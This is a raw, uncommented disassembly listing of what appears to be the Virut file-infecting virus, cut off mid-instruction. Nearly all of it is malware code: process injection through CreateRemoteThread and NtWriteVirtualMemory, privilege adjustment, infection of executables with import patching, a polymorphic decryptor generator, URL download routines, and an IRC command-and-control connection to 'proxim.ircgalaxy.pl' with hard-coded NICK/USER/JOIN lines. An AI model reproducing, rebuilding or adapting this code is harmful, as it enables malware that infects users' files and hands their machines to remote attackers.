esp push 0 push 8000000h push 40h push ecx push edx push 0Eh push eax call dword ptr [ebp+4035E0h] pop eax add esp, 40h push 69CEh mov edx, esp push 0 mov ecx, esp push 40h push 0 push 2 push edx push 0 push 69CEh push 0 push ecx push 0FFFFFFFFh push eax call dword ptr [ebp+4035E4h] pop edi pop ecx test edi, edi jz loc_40056D91 lea esi, [ebp+401000h] mov ecx, 0A74h mov ebp, edi rep movsd sub ebp, 401000h lea eax, [ebp+40144Ch] jmp eax ; END OF FUNCTION CHUNK FOR sub_40056D64 ; --------------------------------------------------------------------------- db 8Dh db 95h ; • db 0E0h, 18h, 40h db 0 db 52h, 0FFh, 95h db 9Ch ; œ db 35h, 40h, 0 db 0E8h ; è db 16h, 2 dup(0) db 0 aLookupprivileg db 'LookupPrivilegeValueA',0 db 50h dd 354895FFh, 85890040h, 40354Ch, 206A5450h, 95FFFF6Ah dd 4035ECh, 755FC085h, 26A963Fh, 0D48B5656h, 0E852016Ah dd 11h, 65446553h, 50677562h, 69766972h, 6567656Ch, 95FF5600h dd 40354Ch, 5656C48Bh, 57565056h, 35D095FFh, 0C4830040h dd 95FF5710h, 40353Ch, 26A006Ah, 357095FFh, 28B90040h dd 97000001h, 0C89E12Bh, 0FF575424h, 4035AC95h, 83F63300h dd 40363CA5h, 57540000h, 35B095FFh, 0C0850040h, 83465C74h dd 0EE7204FEh, 82474FFh, 2A6A006Ah, 35A895FFh, 0C0850040h dd 0E893DC74h, 43Dh, 0E391C933h, 3C853930h, 75004036h dd 0AEC18128h, 5000000Dh, 51565054h, 0FF535050h, 40356895h dd 59C08500h, 74FF0F74h, 858F0824h, 40363Ch, 0FFFDACE8h dd 95FF53FFh, 40353Ch, 0C48198EBh, 128h, 3C95FF57h, 0E9004035h dd 0FFFFFBE5h, 5800498Dh, 0CE005858h, 65000029h, 0Dh, 2 dup(0) db 3 dup(0) ; =============== S U B R O U T I N E ======================================= sub_400571C7 proc near ; CODE XREF: sub_40056D64+100p ; sub_40056D64+218p ... push ecx push esi push ebx call dword ptr [ebp+403548h] stosd pop ecx loc_400571D2: ; CODE XREF: sub_400571C7+Ej lodsb test al, al jnz short loc_400571D2 loop sub_400571C7 retn sub_400571C7 endp ; --------------------------------------------------------------------------- aBasenamedobjec db '\BaseNamedObjects\W32_Virtu',0 aLstrlen db 'lstrlen',0 aCreatefilea_0 db 'CreateFileA',0 aCreatefilemapp db 'CreateFileMappingA',0 aCreateprocessa db 'CreateProcessA',0 aCreateremoteth db 'CreateRemoteThread',0 aCreatethread db 'CreateThread',0 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 aExitthread db 'ExitThread',0 aFiletimetosyst db 'FileTimeToSystemTime',0 aGetfileattribu db 'GetFileAttributesA',0 aGetfilesize db 'GetFileSize',0 aGetfiletime db 'GetFileTime',0 aGetmodulehan_0 db 'GetModuleHandleA',0 aGettempfilenam db 'GetTempFileNameA',0 aGettemppatha db 'GetTempPathA',0 aGetversion db 'GetVersion',0 aGetversionexa db 'GetVersionExA',0 aLoadlibrarya db 'LoadLibraryA',0 aMapviewoffile db 'MapViewOfFile',0 aOpenfilemappin db 'OpenFileMappingA',0 aOpenprocess db 'OpenProcess',0 aProcess32first db 'Process32First',0 aProcess32next db 'Process32Next',0 aSetfileattribu db 'SetFileAttributesA',0 aSetfiletime db 'SetFileTime',0 aSleep_2 db 'Sleep',0 aSystemtimetofi db 'SystemTimeToFileTime',0 aUnmapviewoffil db 'UnmapViewOfFile',0 aVirtualalloc db 'VirtualAlloc',0 aWritefile_0 db 'WriteFile',0 aNtadjustprivil db 'NtAdjustPrivilegesToken',0 aNtcreatefile db 'NtCreateFile',0 aNtcreateproces db 'NtCreateProcess',0 aNtcreateproc_0 db 'NtCreateProcessEx',0 aNtcreatesectio db 'NtCreateSection',0 aNtmapviewofsec db 'NtMapViewOfSection',0 aNtopenfile db 'NtOpenFile',0 aNtopenprocesst db 'NtOpenProcessToken',0 aNtprotectvirtu db 'NtProtectVirtualMemory',0 aNtwritevirtual db 'NtWriteVirtualMemory',0 aRtlunicodestri db 'RtlUnicodeStringToAnsiString',0 aWsastartup db 'WSAStartup',0 aClosesocket db 'closesocket',0 aConnect db 'connect',0 aGethostbyname db 'gethostbyname',0 aRecv db 'recv',0 aSend db 'send',0 aSocket db 'socket',0 aInternetcloseh db 'InternetCloseHandle',0 aInternetgetcon db 'InternetGetConnectedState',0 aInternetopena db 'InternetOpenA',0 aInternetopenur db 'InternetOpenUrlA',0 aInternetreadfi db 'InternetReadFile',0 aAdvapi32_dll_0 db 'ADVAPI32.DLL',0 aRegclosekey_0 db 'RegCloseKey',0 aRegopenkeyex_0 db 'RegOpenKeyExA',0 aRegqueryvalu_0 db 'RegQueryValueExA',0 aRegsetvaluee_0 db 'RegSetValueExA',0 ; =============== S U B R O U T I N E ======================================= sub_40057562 proc near ; CODE XREF: .rsrc:40057609p ; .rsrc:4005761Ap ... var_5 = byte ptr -5 sub ecx, 5 sub ecx, eax push ecx push 0E8000000h lea ecx, [esp+8+var_5] push 0 push 5 push ecx push eax push ebx push 5 mov ecx, esp push eax mov edx, esp push eax push esp push 40h push ecx push edx push ebx call dword ptr [ebp+4035F0h] add esp, 0Ch call dword ptr [ebp+4035F4h] add esp, 8 retn sub_40057562 endp ; --------------------------------------------------------------------------- push edi lea eax, [ebp+4015B1h] xor edi, edi push eax push 0 push 0Eh call dword ptr [ebp+4035A4h] test eax, eax jz loc_40057645 push eax push 69CEh mov edx, esp push 0 mov ecx, esp push 40h push 100000h push 2 push edx push 0 push 69CEh push 0 push ecx push ebx push eax call dword ptr [ebp+4035E4h] pop edi pop ecx call dword ptr [ebp+40353Ch] test edi, edi jz short loc_40057645 mov ecx, [ebp+401588h] jecxz short loc_400575FD lea edx, [ebp+401000h] add edx, ecx push edi push ebx call edx loc_400575FD: ; CODE XREF: .rsrc:400575EFj mov eax, [ebp+4035D4h] lea ecx, [edi+2394h] call sub_40057562 mov eax, [ebp+4035E8h] lea ecx, [edi+23E1h] call sub_40057562 mov eax, [ebp+4035D8h] lea ecx, [edi+23E8h] call sub_40057562 mov eax, [ebp+4035DCh] test eax, eax jz short loc_40057645 lea ecx, [edi+23F5h] call sub_40057562 loc_40057645: ; CODE XREF: .rsrc:400575AFj ; .rsrc:400575E7j ... mov eax, edi pop edi retn ; --------------------------------------------------------------------------- push ebp call $+5 pop ebp sub ebp, 401A14h xor ecx, ecx lea eax, [ebp+401DAEh] push ecx push esp push ecx push ecx push eax push ecx push ecx call dword ptr [ebp+40356Ch] xchg eax, [esp] call dword ptr [ebp+40353Ch] pop ebp retn 4 ; --------------------------------------------------------------------------- dd 0E855h, 815D0000h, 401A43EDh, 8DFF6A00h, 401A0E95h dd 0CD525000h, 2A002420h, 0CC48300h, 5485C766h, 0CD00401Ah dd 5685C720h, 2400401Ah, 5D002A00h, 6A016AC3h, 0FF33FF01h dd 15FF0473h, 0F074C085h, 0B68h, 5BD08B00h, 8D3C5003h dd 401A72B5h, 0CBA8B00h, 8B000001h, 1088Ah, 2BF80300h dd 0CB8B60CBh, 7461A6F3h, 0F5E24705h, 0C783C2EBh, 0D48B570Fh dd 50CC8B53h, 51406A54h, 0FFFF6A52h, 4035F095h, 0CC48300h dd 3574958Bh, 0D72B0040h, 0C707EA83h, 0E8006A07h, 3578900h dd 581A6AC3h, 9E8h, 61428D00h, 75C9FEAAh db 0F0h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_4005772A proc near ; CODE XREF: sub_40057F95+1Bp ; sub_4005810D+3p ... imul edx, [ebp+403646h], 8088405h inc edx mov [ebp+403646h], edx mul edx retn sub_4005772A endp ; --------------------------------------------------------------------------- dw 0E855h dd 0 dd 9ED815Dh, 8B00401Bh, 40364A9Dh, 247C8300h, 840F0008h dd 0B9h, 208EC81h, 68540000h, 104h, 359095FFh, 0FC8B0040h dd 424848Dh, 50000001h, 4E8006Ah, 56000000h, 57005452h dd 358C95FFh, 0C9330040h, 104978Dh, 51510000h, 6A51026Ah dd 6801h, 0FF524000h, 40355C95h, 0F6859600h, 54505B74h dd 10468h, 0B4FF5700h, 22024h, 2895FF00h, 59004036h, 1674C085h dd 8B5014E3h, 52006AD4h, 0FF565751h, 4035CC95h, 0C0855900h dd 0FF56D075h, 40353C95h, 44578D00h, 446A5752h, 4978D58h dd 0AB000001h, 106AC033h, 50ABF359h, 50505050h, 0FF525050h dd 40356495h, 8C48100h, 0FF000002h, 0FF082474h, 40361895h dd 95FF5300h, 403618h, 4C25Dh, 750A3E80h, 8D8B4601h, 401584h dd 958D19E3h, 401000h, 0FF56D103h, 0FC084D2h, 11F88h, 10840F00h dd 80000001h, 10753A3Eh, 3E8046h, 101840Fh, 3E800000h dd 46F17520h, 49503E81h, 4275474Eh, 46C6CF8Bh, 0CE2B4F01h dd 51006A51h, 95FF5356h, 403610h, 0FC13B59h, 0DF85h, 0A2858D00h dd 6A00401Dh, 0C6800h, 53500000h, 361095FFh, 0C3D0040h dd 0F000000h, 0BF85h, 0B1E900h, 3E810000h, 56495250h, 0A5850Fh dd 0C6830000h, 0D3CAC08h, 99840Fh, 203C0000h, 3CACF375h dd 8C850F3Ah, 0AD000000h, 2020200Dh, 67213D20h, 7F757465h dd 75203CACh, 0FF7E817Ch, 74746820h, 7E817175h, 2F3A7003h dd 0C668752Fh, 0F00FF47h, 2710BA31h, 0E2F70000h, 0BC95FF52h dd 33004035h, 505050C0h, 9E850h, 6F440000h, 6F6C6E77h dd 0FF006461h, 40362095h, 74C08500h, 89C93336h, 40364A85h dd 685100h, 51800002h, 0FF505651h, 40362495h, 3958D00h dd 5000401Bh, 5154C933h, 51515250h, 356C95FFh, 4870040h dd 3C95FF24h, 0F8004035h, 778D80C3h, 1004015h, 4F53C3F9h dd 41575446h, 4D5C4552h, 6F726369h, 74666F73h, 6E69575Ch dd 73776F64h, 7275435Ch, 746E6572h, 73726556h, 5C6E6F69h dd 6C707845h, 7265726Fh, 72615400h, 48746567h, 74736Fh dd 0F0FF0002h, 0 aProxim_ircgala db 'proxim.ircgalaxy.pl',0 aNickRecyrvbqUs db 'NICK recyrvbq',0Ah db 'USER v020501 . . :-JOIN &virtu',0Ah db 'Uè',0 dd 5D000000h, 1DB4ED81h, 85C60040h, 401577h, 9495FF00h dd 0C1004035h, 3C741FE8h, 0B58B1E6Ah, 403550h, 2E3CAC59h dd 81662A75h, 751DFF3Eh, 40BD8D23h, 8B004036h, 0A5570276h dd 858DA566h, 40336Ah, 3390858Fh, 89FA0040h, 4E8CFA46h dd 1B1FBFEh, 43EBCFE2h, 15B1858Dh, 6A500040h, 0FF0E6A00h dd 4035A495h, 247C8300h, 2B750408h, 4E8h, 43465300h, 8895FF00h dd 0E8004035h, 0FFFFFC48h, 7E8h, 43465300h, 534F5Fh, 358895FFh dd 31E80040h, 0E8FFFFFCh, 0FFFFF356h, 13038DFFh, 0BE80040h dd 55000000h, 33524553h, 4C442E32h, 95FF004Ch, 40359Ch dd 0AE8h, 70737700h, 746E6972h, 50004166h, 354895FFh, 85890040h dd 403554h, 8D8D310Fh, 4018E0h, 36468589h, 0FF510040h dd 40359C95h, 4689300h, 8D000000h, 4018EDB5h, 0BD8D5900h dd 40362Ch, 0FFF6D6E8h, 85C766FFh, 401D67h, 0A583F0FFh dd 401D69h, 27958D00h, 5000401Dh, 6A016A54h, 2685200h dd 0FF800000h, 40363095h, 5AC08500h, 8D8D2275h, 401D5Ah dd 8D066A52h, 401D67B5h, 50565400h, 0FF525150h, 40363495h dd 95FF5800h, 40362Ch, 384D85C6h, 0E8000040h, 0Ch, 434F5357h dd 2E32334Bh, 4C4C44h, 359C95FFh, 68930040h, 7, 1844B58Dh dd 8D590040h, 4035FCBDh, 0F651E800h, 0CE8FFFFh, 57000000h dd 4E494E49h, 442E5445h, 0FF004C4Ch, 40359C95h, 0FC08500h dd 1E784h, 5689300h, 8D000000h, 401882B5h, 0BD8D5900h dd 403618h, 0FFF61AE8h, 1CBD83FFh, 4036h, 1C2840Fh, 0EC810000h dd 190h, 1016854h, 95FF0000h, 4035FCh, 190C481h, 8B500000h dd 52006AD4h, 361C95FFh, 0C0850040h, 680D7559h, 1388h dd 35BC95FFh, 0E2EB0040h, 1D69BD83h, 75000040h, 6D858D29h dd 5000401Dh, 360895FFh, 0C0850040h, 13B840Fh, 408B0000h dd 0FF008B0Ch, 69858F30h, 0C600401Dh, 40384D85h, 6A0100h dd 26A016Ah, 361495FFh, 0F8830040h, 12840FFFh, 93000001h dd 1D65958Dh, 106A0040h, 95FF5352h, 403604h, 850FC085h dd 0F2h, 1D86BD8Dh, 8B10040h, 0FFFABCE8h, 9468FFh, 2B5E0000h dd 243489E6h, 9895FF54h, 8D004035h, 401D94BDh, 0E801B100h dd 0FFFFFA9Dh, 1024448Bh, 0B08E0C1h, 0C1042444h, 440B08E0h dd 0E8500824h, 5, 78362E25h, 95FF5700h, 403554h, 0C60CC483h dd 8D200647h, 401D8195h, 68006A00h, 21h, 95FF5352h, 403610h dd 14247C8Dh, 5895FF57h, 0C6004035h, 400A3804h, 5750006Ah dd 1095FF53h, 3004036h, 0A2BD8DE6h, 6A00401Dh, 0C6800h dd 53570000h, 361095FFh, 0C3D0040h, 75000000h, 4EB58D4Dh dd 8D004036h, 40384D8Dh, 6ACE2B00h, 53565100h, 360C95FFh dd 0F8830040h, 912F7E00h, 0B58DFE8Bh, 40364Eh, 0AEF20DB0h dd 0E8601075h, 0FFFFFAF8h, 0E3177261h, 1778D09h, 0CF8BEAEBh dd 0BD8DCE2Bh, 40364Eh, 0F787A4F3h, 0FF53B9EBh, 40360095h dd 77BD8000h, 1004015h, 30682A74h, 0FF000075h, 4035BC95h dd 4DBD8000h, 4038h, 85C71174h, 401D69h, 0 dd 384D85C6h, 0E9000040h, 0FFFFFE56h, 158085C7h, 40h, 0C25D8000h dd 0A0D0004h, 6F6E204Fh, 6F206E6Fh, 696C2066h, 20216566h dd 6974204Fh, 7420656Dh, 6563206Fh, 7262656Ch, 21657461h dd 20200A0Dh, 4F202020h, 6D757320h, 2072656Dh, 64726167h dd 0D216E65h, 6C65520Ah, 6C746E65h, 6C737365h, 61682079h dd 20797070h, 20646E61h, 65707865h, 6E617463h, 73202C74h dd 646E6174h, 3A676E69h, 0A0D2D20h, 63746157h, 676E6968h dd 6C6C6120h, 79616420h, 646E6120h, 67696E20h, 202C7468h dd 20726F66h, 65697266h, 2073646Eh, 61772049h, 0D3A7469h dd 6568570Ah, 61206572h, 79206572h, 202C756Fh, 65697266h dd 3F73646Eh, 6D6F4320h, 49202165h, 73692074h, 6D697420h dd 49202165h, 20732774h, 6574616Ch, 0C90A0D21h, 2953AF69h dd 410A614h, 0ED30C784h, 574FD479h, 0B43AAB59h, 48050B7Ah dd 5C403752h, 47C26CCCh, 0E56299ADh, 1327B1FAh, 6A10A614h dd 0A8606EF9h, 7EA70356h, 521A73C1h, 0D8B8B3h, 0Fh dup(0) dd 0DC000000h ; --------------------------------------------------------------------------- adc [ebp+7Ah], edx ; =============== S U B R O U T I N E ======================================= sub_40057EDF proc near ; CODE XREF: sub_40057F26:loc_40057F83p ; sub_40057FE6+7p ... arg_0 = dword ptr 4 pusha and dword ptr [ebp+4039A6h], 0 and dword ptr [ebp+4039AAh], 0 movzx eax, word ptr [ebx+14h] lea edx, [ebx+18h] movzx ecx, word ptr [ebx+6] add edx, eax loc_40057EFB: ; CODE XREF: sub_40057EDF+41j mov eax, [esp+20h+arg_0] sub eax, [edx+0Ch] jb short loc_40057F1D cmp eax, [edx+8] jnb short loc_40057F1D mov eax, [edx+14h] sub eax, [edx+0Ch] mov [ebp+4039A6h], edx mov [ebp+4039AAh], eax jmp short loc_40057F22 ; --------------------------------------------------------------------------- loc_40057F1D: ; CODE XREF: sub_40057EDF+23j ; sub_40057EDF+28j add edx, 28h loop loc_40057EFB loc_40057F22: ; CODE XREF: sub_40057EDF+3Cj popa retn 4 sub_40057EDF endp ; =============== S U B R O U T I N E ======================================= sub_40057F26 proc near ; CODE XREF: .rsrc:40058252p ; .rsrc:40058278p mov [ebp+4022F7h], al call sub_40057F95 push 20h lea eax, [ebp+402224h] pop ecx loc_40057F3D: ; CODE XREF: sub_40057F26+1Ej cmp [eax], ebx jz short loc_40057F4D add eax, 4 loop loc_40057F3D inc dword ptr [ebp+40398Eh] retn ; --------------------------------------------------------------------------- loc_40057F4D: ; CODE XREF: sub_40057F26+19j neg ecx add ecx, [ebp+4022F7h] jecxz short loc_40057F67 loc_40057F57: ; CODE XREF: sub_40057F26+39j push dword ptr [eax-4] pop dword ptr [eax] sub eax, 4 loop loc_40057F57 mov [ebp+402224h], ebx loc_40057F67: ; CODE XREF: sub_40057F26+2Fj ; sub_40057F95+34j cmp dword ptr [edx], 0 jz short loc_40057F71 sub esi, [edx] add esi, [edx+10h] loc_40057F71: ; CODE XREF: sub_40057F26+44j lea ecx, [esi-4] pop eax pop ebx pop esi cmp dword ptr [edx], 0 jz short loc_40057F80 push dword ptr [edx] jmp short loc_40057F83 ; --------------------------------------------------------------------------- loc_40057F80: ; CODE XREF: sub_40057F26+54j push dword ptr [edx+10h] loc_40057F83: ; CODE XREF: sub_40057F26+58j call sub_40057EDF sub ecx, esi sub ecx, [ebp+4039AAh] pop eax add ecx, [ebx+34h] retn sub_40057F26 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40057F95 proc near ; CODE XREF: sub_40057F26+6p pop dword ptr [ebp+403992h] mov dword ptr [ebp+40398Eh], 0 call sub_40057FE6 mov eax, [ebp+40398Eh] call sub_4005772A call sub_40057FD2 cmp dword ptr [ebp+40398Eh], 0 jnz short loc_40057FCB mov [ebp+4022A0h], ebx jmp short loc_40057F67 ; --------------------------------------------------------------------------- loc_40057FCB: ; CODE XREF: sub_40057F95+2Cj dec dword ptr [ebp+40398Eh] retn sub_40057F95 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40057FD2 proc near ; CODE XREF: sub_40057F95+20p pop dword ptr [ebp+403992h] mov [ebp+40398Eh], edx call sub_40057FE6 xor ecx, ecx retn sub_40057FD2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40057FE6 proc near ; CODE XREF: sub_40057F95+10p ; sub_40057FD2+Cp ... var_C = dword ptr -0Ch var_4 = dword ptr -4 mov edx, [ebx+80h] push edx call sub_40057EDF add edx, [ebp+4039AAh] add edx, esi loc_40057FFA: ; CODE XREF: sub_40057FE6+120j cmp dword ptr [edx+0Ch], 0 jz locret_4005810B cmp dword ptr [edx+10h], 0 jz locret_4005810B mov eax, [edx+0Ch] push eax call sub_40057EDF add eax, [ebp+4039AAh] add eax, esi push eax loc_40058020: ; CODE XREF: sub_40057FE6+47j mov cl, [eax] cmp cl, 0 jz short loc_40058040 cmp cl, 2Eh jz short loc_4005802F loc_4005802C: ; CODE XREF: sub_40057FE6+58j inc eax jmp short loc_40058020 ; --------------------------------------------------------------------------- loc_4005802F: ; CODE XREF: sub_40057FE6+44j mov ecx, [eax+1] and ecx, 0DFDFDFDFh cmp ecx, 4C4C44h jnz short loc_4005802C loc_40058040: ; CODE XREF: sub_40057FE6+3Fj pop ecx sub ecx, eax cmp ecx, 0FFFFFFFAh jg loc_40058103 cmp word ptr [eax-2], 3233h jnz loc_40058103 push esi cmp dword ptr [edx], 0 jnz short loc_40058063 mov ecx, [edx+10h] jmp short loc_40058065 ; --------------------------------------------------------------------------- loc_40058063: ; CODE XREF: sub_40057FE6+76j mov ecx, [edx] loc_40058065: ; CODE XREF: sub_40057FE6+7Bj add esi, ecx push ecx call sub_40057EDF add esi, [ebp+4039AAh] loc_40058073: ; CODE XREF: sub_40057FE6+90j ; sub_40057FE6+117j lodsd test eax, eax js short loc_40058073 jz loc_40058102 push dword ptr [ebp+4039AAh] push eax call sub_40057EDF add eax, [ebp+4039AAh] pop dword ptr [ebp+4039AAh] add eax, [esp+4+var_4] push ebx add eax, 2 xor ebx, ebx loc_4005809F: ; CODE XREF: sub_40057FE6+CEj movzx ecx, byte ptr [eax] jecxz short loc_400580B6 or cl, 20h push ebx shl [esp+0Ch+var_C], 4 sub [esp+0Ch+var_C], ebx sub [esp+0Ch+var_C], ecx pop ebx inc eax jmp short loc_4005809F ; --------------------------------------------------------------------------- loc_400580B6: ; CODE XREF: sub_40057FE6+BCj cmp ebx, 0DDBBD70Fh jz short loc_400580FC cmp ebx, 0DB6E45A8h jz short loc_400580FC cmp ebx, 0FFA13B59h jz short loc_400580FC cmp ebx, 0ACB522D6h jz short loc_400580FC cmp ebx, 0F358E993h jz short loc_400580FC cmp ebx, 0F358E97Dh jz short loc_400580FC cmp ebx, 0E1253F46h jz short loc_400580FC cmp ebx, 0E1253F30h jz short loc_400580FC call dword ptr [ebp+403992h] loc_400580FC: ; CODE XREF: sub_40057FE6+D6j ; sub_40057FE6+DEj ... pop ebx jmp loc_40058073 ; --------------------------------------------------------------------------- loc_40058102: ; CODE XREF: sub_40057FE6+92j pop esi loc_40058103: ; CODE XREF: sub_40057FE6+60j ; sub_40057FE6+6Cj add edx, 14h jmp loc_40057FFA ; --------------------------------------------------------------------------- locret_4005810B: ; CODE XREF: sub_40057FE6+18j ; sub_40057FE6+22j retn sub_40057FE6 endp ; --------------------------------------------------------------------------- db 0 ; =============== S U B R O U T I N E ======================================= sub_4005810D proc near ; CODE XREF: .rsrc:4005824Bp ; .rsrc:40058271p push 4 pop eax call sub_4005772A mov [ebp+4024D1h], dl mov ax, 1831h add ah, dl shl ah, 3 add ah, dl stosw push 6 pop eax call sub_4005772A add edx, 8 xchg edx, ecx loc_40058135: ; CODE XREF: sub_4005810D:loc_40058174j push 5 pop eax call sub_4005772A cmp dl, 3 jnb short loc_4005814D mov al, 50h add al, [ebp+4024D1h] stosb jmp short loc_40058174 ; --------------------------------------------------------------------------- loc_4005814D: ; CODE XREF: sub_4005810D+33j push 68h pop eax stosb cmp dl, 3 jnz short loc_4005816E mov al, 11h call sub_4005772A mov eax, 1 loc_40058162: ; CODE XREF: sub_4005810D+5Dj test dl, dl jz short loc_40058173 shl eax, 1 dec dl jmp short loc_40058162 ; --------------------------------------------------------------------------- jmp short loc_40058173 ; --------------------------------------------------------------------------- loc_4005816E: ; CODE XREF: sub_4005810D+47j mov eax, 80000000h loc_40058173: ; CODE XREF: sub_4005810D+57j ; sub_4005810D+5Fj stosd loc_40058174: ; CODE XREF: sub_4005810D+3Ej loop loc_40058135 retn sub_4005810D endp ; --------------------------------------------------------------------------- loc_40058177: ; CODE XREF: sub_40058BD1+112p lea edi, [ebp+40343Ch] test dword ptr [ebp+403431h], 80000000h jz short loc_4005818C mov al, 60h stosb loc_4005818C: ; CODE XREF: .rsrc:40058187j test dword ptr [ebp+403431h], 1000003h jz loc_40058292 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- push ebp mov ebp, esp call near ptr 0FD8F2D50h xchg eax, esi cmp [eax+0], eax mov al, 0E8h stosb stosd test dword ptr [ebp+403431h], 1000000h mov [ebp+40399Ah], edi jz short loc_4005820A test dword ptr [ebp+403431h], 2000000h mov eax, 36FF6467h jnz short loc_400581D5 mov eax, 2E8B6467h loc_400581D5: ; CODE XREF: .rsrc:400581CEj stosd mov ax, 0 stosw jz short loc_400581E1 mov al, 5Dh stosb loc_400581E1: ; CODE XREF: .rsrc:400581DCj test dword ptr [ebp+403431h], 8000000h mov eax, 86D8Dh jnz short loc_40058208 test dword ptr [ebp+403431h], 4000000h mov eax, 8C583h jz short loc_40058208 mov eax, 0F8ED83h loc_40058208: ; CODE XREF: .rsrc:400581F0j ; .rsrc:40058201j stosd dec edi loc_4005820A: ; CODE XREF: .rsrc:400581BDj test dword ptr [ebp+403431h], 3 jz short loc_4005821A mov al, 0E9h stosb stosd loc_4005821A: ; CODE XREF: .rsrc:40058214j mov eax, [ebp+403996h] mov ecx, edi sub ecx, eax mov [eax-4], ecx test dword ptr [ebp+403431h], 3 jz short loc_40058292 mov eax, 36FF6467h mov [ebp+40399Eh], edi stosd mov eax, 64670000h stosd mov eax, 2689h stosd call sub_4005810D mov al, 20h call sub_40057F26 jecxz short loc_40058292 mov ax, 15FFh stosw xchg eax, ecx stosd mov edx, [ebp+403431h] not edx test edx, 3 jnz short loc_40058285 call sub_4005810D mov al, 1Fh call sub_40057F26 mov ax, 15FFh stosw xchg eax, ecx stosd loc_40058285: ; CODE XREF: .rsrc:4005826Fj mov ecx, edi mov eax, [ebp+40399Eh] sub ecx, eax mov [eax-4], ecx loc_40058292: ; CODE XREF: .rsrc:40058196j ; .rsrc:40058231j ... test dword ptr [ebp+403431h], 4 jz short loc_400582B0 mov eax, 0C8FEC029h stosd mov eax, 474C008h stosd mov eax, 67EBF875h stosd loc_400582B0: ; CODE XREF: .rsrc:4005829Cj test dword ptr [ebp+403431h], 8 jnz short loc_40058306 cmp byte ptr [ebp+40342Fh], 0 jz short loc_40058306 mov eax, 0C9291829h or ah, [ebp+40342Bh] shl ah, 3 or ah, [ebp+40342Bh] stosd mov al, 0B1h stosb mov al, [ebp+40342Fh] stosb mov al, 40h or al, [ebp+40342Bh] stosb mov ax, 0FDE2h test dword ptr [ebp+403431h], 10h jz short loc_40058304 mov al, 49h stosb mov ax, 0FC75h loc_40058304: ; CODE XREF: .rsrc:400582FBj stosw loc_40058306: ; CODE XREF: .rsrc:400582BAj ; .rsrc:400582C3j mov al, 0E8h stosb xor eax, eax stosd mov [ebp+403982h], edi test dword ptr [ebp+403431h], 20h jnz short loc_40058327 mov al, 58h or al, [ebp+403429h] stosb loc_40058327: ; CODE XREF: .rsrc:4005831Cj mov ax, 0C081h test dword ptr [ebp+403431h], 40h jz short loc_4005833A add ah, 28h loc_4005833A: ; CODE XREF: .rsrc:40058335j or ah, [ebp+403429h] stosw mov [ebp+403986h], edi stosd test dword ptr [ebp+403431h], 40000000h jnz short loc_4005835E mov al, 50h add al, [ebp+403429h] stosb loc_4005835E: ; CODE XREF: .rsrc:40058353j test dword ptr [ebp+403431h], 80h jnz short loc_40058375 mov al, 0B8h or al, [ebp+40342Ah] stosb jmp short loc_400583B2 ; --------------------------------------------------------------------------- loc_40058375: ; CODE XREF: .rsrc:40058368j mov ax, 1831h test dword ptr [ebp+403431h], 100h jz short loc_40058387 mov al, 29h loc_40058387: ; CODE XREF: .rsrc:40058383j or ah, [ebp+40342Ah] shl ah, 3 or ah, [ebp+40342Ah] stosw mov ax, 0F081h test dword ptr [ebp+403431h], 200h jnz short loc_400583AA mov ah, 0C8h loc_400583AA: ; CODE XREF: .rsrc:400583A6j or ah, [ebp+40342Ah] stosw loc_400583B2: ; CODE XREF: .rsrc:40058373j mov [ebp+4039A2h], edi mov eax, 243Ch stosd test dword ptr [ebp+403431h], 8 jz short loc_40058436 test dword ptr [ebp+403431h], 400h jnz short loc_400583E1 mov al, 0B8h or al, [ebp+40342Bh] stosb jmp short loc_4005842E ; --------------------------------------------------------------------------- loc_400583E1: ; CODE XREF: .rsrc:400583D4j test dword ptr [ebp+403431h], 800h jnz short loc_400583FE mov ax, 0E083h or ah, [ebp+40342Bh] stosw xor eax, eax stosb jmp short loc_40058413 ; --------------------------------------------------------------------------- loc_400583FE: ; CODE XREF: .rsrc:400583EBj mov ax, 1829h or ah, [ebp+40342Bh] shl ah, 3 or ah, [ebp+40342Bh] stosw loc_40058413: ; CODE XREF: .rsrc:400583FCj test dword ptr [ebp+403431h], 1000h mov ax, 0C081h jz short loc_40058426 add ah, 8 loc_40058426: ; CODE XREF: .rsrc:40058421j or ah, [ebp+40342Bh] stosw loc_4005842E: ; CODE XREF: .rsrc:400583DFj movzx eax, byte ptr [ebp+40342Fh] stosd loc_40058436: ; CODE XREF: .rsrc:400583C8j test dword ptr [ebp+403431h], 40000000h jz short loc_4005844B mov al, 50h add al, [ebp+403429h] stosb loc_4005844B: ; CODE XREF: .rsrc:40058440j test dword ptr [ebp+403431h], 2000h mov al, 86h jnz short loc_4005845B add al, 4 loc_4005845B: ; CODE XREF: .rsrc:40058457j lea ecx, [edi-2] mov ah, [ebp+403429h] mov [ebp+40398Ah], ecx stosw cmp ah, 5 jnz short loc_40058478 mov al, 0 or byte ptr [edi-1], 40h stosb loc_40058478: ; CODE XREF: .rsrc:4005846Fj test dword ptr [ebp+403431h], 4000h mov ax, 3166h jnz short loc_4005848A mov ah, 29h loc_4005848A: ; CODE XREF: .rsrc:40058486j stosw mov al, 18h or al, [ebp+40342Bh] shl al, 3 stosb mov al, 88h test dword ptr [ebp+403431h], 8000h jnz short loc_400584A8 mov al, 86h loc_400584A8: ; CODE XREF: .rsrc:400584A4j mov ah, [ebp+403429h] stosw cmp ah, 5 jnz short loc_400584BC mov al, 0 or byte ptr [edi-1], 40h stosb loc_400584BC: ; CODE XREF: .rsrc:400584B3j test dword ptr [ebp+403431h], 10000h jnz short loc_400584D3 mov al, 40h or al, [ebp+403429h] stosb jmp short loc_400584E2 ; --------------------------------------------------------------------------- loc_400584D3: ; CODE XREF: .rsrc:400584C6j mov ax, 0C083h or ah, [ebp+403429h] stosw mov al, 1 stosb loc_400584E2: ; CODE XREF: .rsrc:400584D1j test dword ptr [ebp+403431h], 20000h jnz short loc_4005851D test dword ptr [ebp+403431h], 40000h jnz short loc_40058514 mov al, 0C0h or al, [ebp+40342Bh] mov ah, [ebp+403430h] shl eax, 10h mov ax, 8166h stosd mov al, 0 jmp short loc_4005851C ; --------------------------------------------------------------------------- loc_40058514: ; CODE XREF: .rsrc:400584F8j mov al, 40h or al, [ebp+40342Bh] loc_4005851C: ; CODE XREF: .rsrc:40058512j stosb loc_4005851D: ; CODE XREF: .rsrc:400584ECj test dword ptr [ebp+403431h], 80000h jnz short loc_40058539 mov ax, 0E883h or ah, 